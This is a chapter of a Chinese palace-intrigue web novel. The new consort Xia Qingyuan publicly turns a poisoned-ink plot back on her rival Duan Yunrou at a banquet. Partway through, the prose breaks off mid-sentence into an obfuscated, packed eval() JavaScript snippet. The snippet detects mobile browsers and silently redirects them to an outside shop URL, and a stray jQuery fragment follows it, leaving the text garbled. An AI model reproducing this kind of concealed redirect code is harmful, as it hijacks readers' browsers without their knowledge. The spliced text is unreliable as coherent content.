47. 回礼
作品:《朱门咸鱼》 天还没亮透,锦娘便领着宫人为夏清圆梳妆。
青丝梳成繁复的凌云髻,赤金点翠步摇簪入鬓间——今日是她正二品昭仪的册封大典。
可她的心思,却全然不在这身华服上。
“主子,”周全悄步近前,声音压得极低,“宫外有动静了。”
夏清圆从镜中看他,指尖无意识抚过领口的珍珠滚边:“说。”
“大皇子与瑞王中毒的真相传出去后,起初百姓只当茶余饭后的谈资。”
周全语速平缓,字字清晰,“但今科会试张榜在即,话题自然被引到考题上——土地改制。”
她眸光微凝。
“那些寒门学子翘首盼着改制的落实,话头一起,百姓也跟着议论。眼下过了节便是春耕,谁不想种自家的田、传自家的地?”
周全顿了顿,“如今在百姓眼里,大皇子与瑞王中毒,已不再是宫廷阴私,而是权贵老爷们对夏家这等为百姓着想的好官的构陷围捕,目的就是要搜刮民脂民膏。”
夏清圆睫羽未动,只轻轻“嗯”了一声。
——燎原之火,往往起于星点微光。
“还有这个,”周全从袖中取出一封信,双手奉上,“韩孝闻托二公子转呈。”
韩孝闻。
那个在邯山书院时便显出玲珑圆滑、更擅为官的书生。
夏清圆展开信笺,目光扫过上面工整却锋芒暗藏的字迹——
竟是一封“投名状”。
韩孝闻在信中直言,愿为夏家、为土地改制奔走联络,聚拢在京学子与有识之士,在放榜前后,造出足够大的声势。
更暗示,若他日夏翀大人有用得着的地方,他愿效犬马之劳。
信纸在她指尖轻轻摩挲。
这是一封极其聪明的“投名状”。未提具体诉求,却将立场与可利用的价值摆得清清楚楚。
夏清圆看完,将信纸就着烛火点燃。火焰舔舐纸页,迅速卷曲焦黑,化作灰烬飘落。
她看着那点余烬,心中一直紧绷的结,忽然松开了。
这封意料之外的信,让她忽然意识到——夏家,早已不同了。
经过去年那场一波三折的科举,父亲夏翀已从翰林院那个默默无闻的修撰,变成了推动科举变革的主阅卷,一跃成为今科会试学子心中名副其实的“座师”。
有名声,有人望,更手握无数寒门士子未来的前程。
而与冯家的联姻,无论夏家愿不愿意,都已成定局。
大哥在军中历练,青枫在宫外打点接受冯家的“遗产”,她则暗中接掌了皇后留下的部分宫中人脉。
面对皇权与党争,夏家已不再是砧板上任人宰割的鱼肉。
而她,似乎也不必再如履薄冰,只靠揣摩圣心过活。
“周全,”她声音里多了几分决断,“去将大皇子请来。”
萧昀被领进内殿时,脸上还带着晨起的惺忪。三颗解毒丸用下,又调养几日,气色已大好。
夏清圆她将孩子拉到身前,看着他清澈懵懂的眼睛,一字一句,将段云柔如何在墨中下毒、他为何会生病的事,清清楚楚说了出来。
没有遮掩,没有粉饰。
末了,她补充:“你母后出宫去皇寺为国祈福,将你托付给了我。”
萧昀仰着小脸,愣愣地听着。
那双肖似皇后的凤眼里,起初是茫然,渐渐聚起惊骇,最后沉淀为一种与年龄不符的了然。
他抿紧嘴唇,没有哭,没有闹,只是用力点了点头。
“怕吗?”夏清圆轻声问。
萧昀点头,又摇头:“不怕。”
“好。”夏清圆伸手,替他理了理衣襟,“待会儿册封礼后的宫宴上,婉娘娘要你做一件事。”
她俯身,在他耳边低语数句。
萧昀认真听着,眼睛渐渐亮起来,用力点头带着讨好:“昀儿记住了!”
周全适时递上一个巴掌大的锦囊。夏清圆接过,打开——里面是一包细如粉尘、颜色灰褐的药粉。
她拈起一点,凑近鼻尖。
一股尖锐刺鼻的苦涩气味,与那日从段云柔墨锭中验出的“蚀骨香”味道,几乎一模一样。
“都准备好了。”周全垂首。
册封大典庄重而冗长。
礼成,移驾临华宫,设宴庆贺。
宫宴设在正殿,暖阁里烧着地龙,熏着清雅的梅花香。嫔妃命妇们依序落座,笑语晏晏,衣香鬓影。
夏清圆端坐主位,目光状似无意地扫过席间——
段云柔坐在下首,一袭藕荷色宫装,发间只簪了支素银步摇,依旧是那副弱柳扶风、我见犹怜的模样。
贤妃称病未到;德妃坐在她对面,兴致不高,只静静用着面前的羹汤。
酒过三巡,气氛渐热。
夏清圆执起酒盏,转向德妃,声音温软,却足以让近处几人听清:“德妃姐姐近日气色好了些。说起来,大皇子离了生母,我这心里总是不安。前几日见他腕上那些旧伤……”
她顿了顿,恰到好处地流露出心疼,“实在教人心疼。”
德妃抬眼看她,眸中掠过一丝复杂,附和:“妹妹有心了。”
这话,是说给段云柔听的。
果然,段云柔执箸的手几不可察地一顿。
夏清圆眼底笑意更深,转向侍立一旁的荔枝:“去将本宫备下的那套文房四宝取来。”
不多时,荔枝捧着一个紫檀雕花礼盒上前。夏清圆亲手打开——
盒内铺着明黄绸缎,正中端放着一套笔墨纸砚:羊毫湖笔、松烟墨锭、端溪老坑砚、澄心堂纸。
她起身,亲自端着礼盒,走到段云柔席前。
“兰充媛。”
段云柔慌忙起身,敛衽行礼:“昭仪娘娘。”
“昔日你为大皇子启蒙,尽心竭力,本宫记在心里。”夏清圆将礼盒递到她面前,声音温软,却字字清晰,“这套笔墨,是皇上赏的贡品,今日转赠于你,聊表谢意。”
她顿了顿,眸光微凝,语速放缓:“望充媛日后……多将心思,用在正途。”
殿内霎时一静。
段云柔脸色白了三分,手指微微发颤,却不得不双手接过,深深福身:“嫔妾……谢昭仪娘娘赏赐。”
那“正途”二字,如冰锥刺骨。
她垂眸看向盒中那锭松烟墨——墨体黝黑润泽,隐有暗光,确是上品。可越是这样,她心头的不安便越重。
就在这时,殿门口传来一阵轻快的脚步声。
“婉娘娘!”
萧昀穿着皇子常服,像只雀儿般扑到夏清圆身边,亲昵地拉住她的袖角:“昀儿来给婉娘娘道贺了!”
夏清圆含笑抚了抚他的头:“昀儿乖。”
萧昀仰起脸,目光“恰好”落在那套文房四宝上,眼睛一亮,天真道:“婉娘娘,兰充媛写字的墨可香了,我一看她的字就想闻。”
他转向段云柔,声音脆生生的,“您送兰充媛的墨,也那么香吗?”
话音落,段云柔脸上最后一点血色也褪尽了。
她捏着锦帕的手指死死攥紧,指甲几乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973014|192431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掐进掌心。
夏清圆将她的反应尽收眼底,笑意愈深。
她轻抚萧昀的发顶,柔声道:“傻孩子,墨的香气各有不同。兰充媛精于此道,你不如请她为你现场研磨,鉴赏一番,也好学学。”
众目睽睽之下,“指导皇子”名正言顺,段云柔根本无法拒绝。
宫人早已备好清水、砚台,置于殿中一张黄花梨书案上。
段云柔缓缓起身,每一步都像踩在刀尖上。她走到案前,目光落在那锭松烟墨上,喉头滚动。
无数道视线聚焦在她身上——德妃的探究、其他嫔妃的好奇、命妇们的打量。
她伸出微颤的手,拿起那锭墨。
触手温润,重量适中。可越是正常,越让她心头发寒。
清水注入砚池,她执墨,开始缓缓研磨。
动作起初有些僵硬,但随着墨锭与砚台摩擦,墨香渐渐逸散——是极品的松烟香气,清雅醇厚。
可段云柔的额头,却渗出了细密的冷汗。
不对。
这香气里,混着一丝极淡、却让她颤栗的熟悉味道——那种尖锐的、带着苦意的气息。
她研磨的手越来越慢,指尖开始不受控制地发麻,后颈沁出冰凉的汗意。
心悸。
像有只冰冷的手攥住了她的心脏。
她猛地抬头,看向夏清圆。
夏清圆的眸光清凌凌的,如同深秋寒潭,映不出半分温度。
那眼神里,没有疑惑,没有关切,只有一种洞悉一切的、冰冷的了然。
仿佛在说:你尝到了,对吗?
“兰充媛,”夏清圆适时开口,声音关切,却字字如刀,“脸色怎如此苍白?可是这墨……有何不妥?”
段云柔张了张嘴,想说什么,喉咙却像被什么堵住了。她低头看向砚中渐渐浓稠的墨汁,那乌黑的颜色,此刻在她眼中如同噬人的深渊。
“嫔妾……”她声音发颤,“许是昨夜未歇好……”
话未说完,她忽然觉得一阵眩晕,脚下踉跄,几乎站立不住。手中墨锭“啪”一声掉在案上,滚了两圈,停在边缘。
“充媛!”她的宫女慌忙上前搀扶。
段云柔扶着案沿,大口喘着气,额上冷汗涔涔,脸色已惨白如纸。
夏清圆缓缓起身,走到她面前。
俯身,拾起那锭滚落的墨,指尖轻轻拂过墨体表面。然后,她抬眸,看向段云柔惊惧交加的双眼,声音轻得只有两人能听见:
“这墨,可还合充媛的心意?”
段云柔浑身一震,瞳孔骤缩。
夏清圆直起身,转向众人,面上已恢复温婉笑意:“看来兰充媛确是身子不适。荔枝,扶充媛去偏殿歇息,传太医来看看。”
她将墨锭轻轻放回段云柔手中,指尖在她掌心极轻地按了一下。
“充媛,”她微笑道,“这礼,你可要收好了。”
段云柔僵在原地,握着那锭墨,如同握着一块烧红的烙铁。
殿内的谈笑声不知何时停了,所有目光都凝在她们身上。那种无形的、令人窒息的压力,让段云柔几乎要瘫软下去。
夏清圆转身,款步走回主座。
落座时,她侧目,对上了德妃若有所思的目光。
四目相对,德妃眼中掠过一丝极淡的、带着赞赏的微光,随即垂下眼帘,继续用她的羹汤。
殿外,天色渐暗。
宫灯次第亮起,将临华宫照得恍如白昼。
而这场没有硝烟的战争,方才刚刚拉开序幕。

